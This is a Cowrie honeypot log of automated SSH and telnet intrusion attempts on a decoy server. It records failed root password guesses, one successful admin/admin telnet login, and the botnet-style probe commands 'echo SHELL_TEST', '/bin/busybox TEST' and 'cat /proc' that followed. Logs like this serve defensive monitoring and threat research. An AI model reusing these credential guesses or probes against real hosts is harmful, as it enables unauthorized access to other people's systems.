{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:03.104440Z","src_ip":"147.45.211.215","session":"0e759ca63f33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"student","message":"login attempt [root/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:03.656470Z","src_ip":"147.45.211.215","session":"0e759ca63f33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:04.843171Z","src_ip":"147.45.211.215","session":"0e759ca63f33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54448,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed0570439404","protocol":"telnet","message":"New connection: 192.119.13.58:54448 (10.17.0.5:23) [session: ed0570439404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:05.846759Z"}
{"eventid":"cowrie.session.closed","duration":43.342251777648926,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:07.327549Z","src_ip":"192.119.13.58","session":"aa84ef77e6cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35192,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cc3a9c8904b","protocol":"telnet","message":"New connection: 192.119.13.58:35192 (10.17.0.5:23) [session: 1cc3a9c8904b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:07.713758Z"}
{"eventid":"cowrie.session.closed","duration":30.740455627441406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:09.576360Z","src_ip":"192.119.13.58","session":"bb83fdc865bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45402,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bf50be56dfd","protocol":"telnet","message":"New connection: 192.119.13.58:45402 (10.17.0.5:23) [session: 8bf50be56dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:09.852798Z"}
{"eventid":"cowrie.session.closed","duration":0.004993915557861328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:09.857662Z","src_ip":"192.119.13.58","session":"8bf50be56dfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46366,"dst_ip":"10.17.0.5","dst_port":23,"session":"86285fa86802","protocol":"telnet","message":"New connection: 192.119.13.58:46366 (10.17.0.5:23) [session: 86285fa86802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:10.070135Z"}
{"eventid":"cowrie.session.closed","duration":38.70679426193237,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:12.555270Z","src_ip":"192.119.13.58","session":"0cad86b1b121","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46724,"dst_ip":"10.17.0.5","dst_port":23,"session":"54a726eec20a","protocol":"telnet","message":"New connection: 192.119.13.58:46724 (10.17.0.5:23) [session: 54a726eec20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:15.131902Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":46806,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f0d736ca985","protocol":"ssh","message":"New connection: 185.236.22.41:46806 (159.203.135.109:22) [session: 8f0d736ca985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:18.988340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:18.995046Z","src_ip":"185.236.22.41","session":"8f0d736ca985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.70154023170471,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:19.070489Z","src_ip":"192.119.13.58","session":"083ca6fa43bc","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:19.128277Z","src_ip":"185.236.22.41","session":"8f0d736ca985","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem2001","message":"login attempt [root/artem2001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:19.659627Z","src_ip":"185.236.22.41","session":"8f0d736ca985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:20.787358Z","src_ip":"185.236.22.41","session":"8f0d736ca985","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41794,"dst_ip":"10.17.0.5","dst_port":23,"session":"3feebeef92ba","protocol":"telnet","message":"New connection: 192.119.13.58:41794 (10.17.0.5:23) [session: 3feebeef92ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:25.398729Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49514,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0e337360f4e","protocol":"telnet","message":"New connection: 192.119.13.58:49514 (10.17.0.5:23) [session: b0e337360f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:26.823283Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50844,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c988bf8c4d7","protocol":"telnet","message":"New connection: 192.119.13.58:50844 (10.17.0.5:23) [session: 7c988bf8c4d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:27.194411Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59638,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ec40448e335","protocol":"telnet","message":"New connection: 192.119.13.58:59638 (10.17.0.5:23) [session: 6ec40448e335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:29.302288Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37078,"dst_ip":"10.17.0.5","dst_port":23,"session":"e069a6b52f2a","protocol":"telnet","message":"New connection: 192.119.13.58:37078 (10.17.0.5:23) [session: e069a6b52f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:30.536067Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41920,"dst_ip":"10.17.0.5","dst_port":23,"session":"399ebe4612a0","protocol":"telnet","message":"New connection: 192.119.13.58:41920 (10.17.0.5:23) [session: 399ebe4612a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:31.844639Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":57180,"dst_ip":"159.203.135.109","dst_port":23,"session":"89fd0c25d68a","protocol":"telnet","message":"New connection: 186.195.16.41:57180 (159.203.135.109:23) [session: 89fd0c25d68a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:33.026232Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54788,"dst_ip":"10.17.0.5","dst_port":23,"session":"06242104a52b","protocol":"telnet","message":"New connection: 192.119.13.58:54788 (10.17.0.5:23) [session: 06242104a52b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:35.149884Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53086,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7dd8c95834e","protocol":"telnet","message":"New connection: 192.119.13.58:53086 (10.17.0.5:23) [session: d7dd8c95834e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:35.729692Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58346,"dst_ip":"159.203.135.109","dst_port":22,"session":"b38f47cb8ec4","protocol":"ssh","message":"New connection: 103.176.20.57:58346 (159.203.135.109:22) [session: b38f47cb8ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:40.397607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:40.402465Z","src_ip":"103.176.20.57","session":"b38f47cb8ec4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:40.650609Z","src_ip":"103.176.20.57","session":"b38f47cb8ec4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19711971","message":"login attempt [root/19711971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:41.398407Z","src_ip":"103.176.20.57","session":"b38f47cb8ec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:42.648906Z","src_ip":"103.176.20.57","session":"b38f47cb8ec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51394,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd74cc61a1e3","protocol":"telnet","message":"New connection: 192.119.13.58:51394 (10.17.0.5:23) [session: fd74cc61a1e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:45.448379Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39398,"dst_ip":"10.17.0.5","dst_port":23,"session":"70afcccf27cd","protocol":"telnet","message":"New connection: 192.119.13.58:39398 (10.17.0.5:23) [session: 70afcccf27cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:49.117187Z"}
{"eventid":"cowrie.session.closed","duration":34.28588795661926,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:49.417666Z","src_ip":"192.119.13.58","session":"54a726eec20a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.531615018844604,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:49.601624Z","src_ip":"192.119.13.58","session":"86285fa86802","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.50798726081848,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:51.221614Z","src_ip":"192.119.13.58","session":"1cc3a9c8904b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.68710231781006,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:21:57.533752Z","src_ip":"192.119.13.58","session":"ed0570439404","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.97244095802307,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:04.274620Z","src_ip":"192.119.13.58","session":"6ec40448e335","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.55524253845215,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:06.399768Z","src_ip":"192.119.13.58","session":"399ebe4612a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":56772,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d671b66f408","protocol":"telnet","message":"New connection: 176.65.139.121:56772 (159.203.135.109:23) [session: 7d671b66f408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:06.851298Z"}
{"eventid":"cowrie.session.closed","duration":0.07092094421386719,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:06.922094Z","src_ip":"176.65.139.121","session":"7d671b66f408","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":56784,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4b6c51396de","protocol":"telnet","message":"New connection: 176.65.139.121:56784 (159.203.135.109:23) [session: b4b6c51396de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:07.065722Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:07.855971Z","src_ip":"176.65.139.121","session":"b4b6c51396de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.7948377132415771,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:08.860461Z","src_ip":"176.65.139.121","session":"b4b6c51396de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.849321603775024,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:08.999100Z","src_ip":"192.119.13.58","session":"06242104a52b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":56800,"dst_ip":"159.203.135.109","dst_port":23,"session":"58ae07121554","protocol":"telnet","message":"New connection: 176.65.139.121:56800 (159.203.135.109:23) [session: 58ae07121554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:09.060674Z"}
{"eventid":"cowrie.session.closed","duration":39.59424686431885,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:10.130190Z","src_ip":"192.119.13.58","session":"e069a6b52f2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.869298219680786,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:10.268712Z","src_ip":"192.119.13.58","session":"3feebeef92ba","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:10.925535Z","src_ip":"176.65.139.121","session":"58ae07121554","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.311543703079224,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:11.134661Z","src_ip":"192.119.13.58","session":"b0e337360f4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.018514394760132,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:12.079097Z","src_ip":"176.65.139.121","session":"58ae07121554","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":56810,"dst_ip":"159.203.135.109","dst_port":23,"session":"b804075d6943","protocol":"telnet","message":"New connection: 176.65.139.121:56810 (159.203.135.109:23) [session: b804075d6943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:12.369894Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:13.018178Z","src_ip":"176.65.139.121","session":"b804075d6943","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:13.076402Z","src_ip":"176.65.139.121","session":"b804075d6943","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:14.244787Z","src_ip":"176.65.139.121","session":"b804075d6943","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:14.881974Z","src_ip":"176.65.139.121","session":"b804075d6943","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:15.496167Z","src_ip":"176.65.139.121","session":"b804075d6943","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.10691976547241,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:15.836494Z","src_ip":"192.119.13.58","session":"d7dd8c95834e","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:16.202022Z","src_ip":"176.65.139.121","session":"b804075d6943","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:16.209533Z","src_ip":"176.65.139.121","session":"b804075d6943","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.7","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:16.803052Z","src_ip":"176.65.139.121","session":"b804075d6943","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.4467573165893555,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:16.816545Z","src_ip":"176.65.139.121","session":"b804075d6943","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50382,"dst_ip":"10.17.0.5","dst_port":23,"session":"e02bc9a534e3","protocol":"telnet","message":"New connection: 192.119.13.58:50382 (10.17.0.5:23) [session: e02bc9a534e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:16.875387Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":51458,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9c938f867e3","protocol":"ssh","message":"New connection: 194.59.206.2:51458 (159.203.135.109:22) [session: d9c938f867e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:19.741922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:19.768440Z","src_ip":"194.59.206.2","session":"d9c938f867e3","protocol":"ssh"}
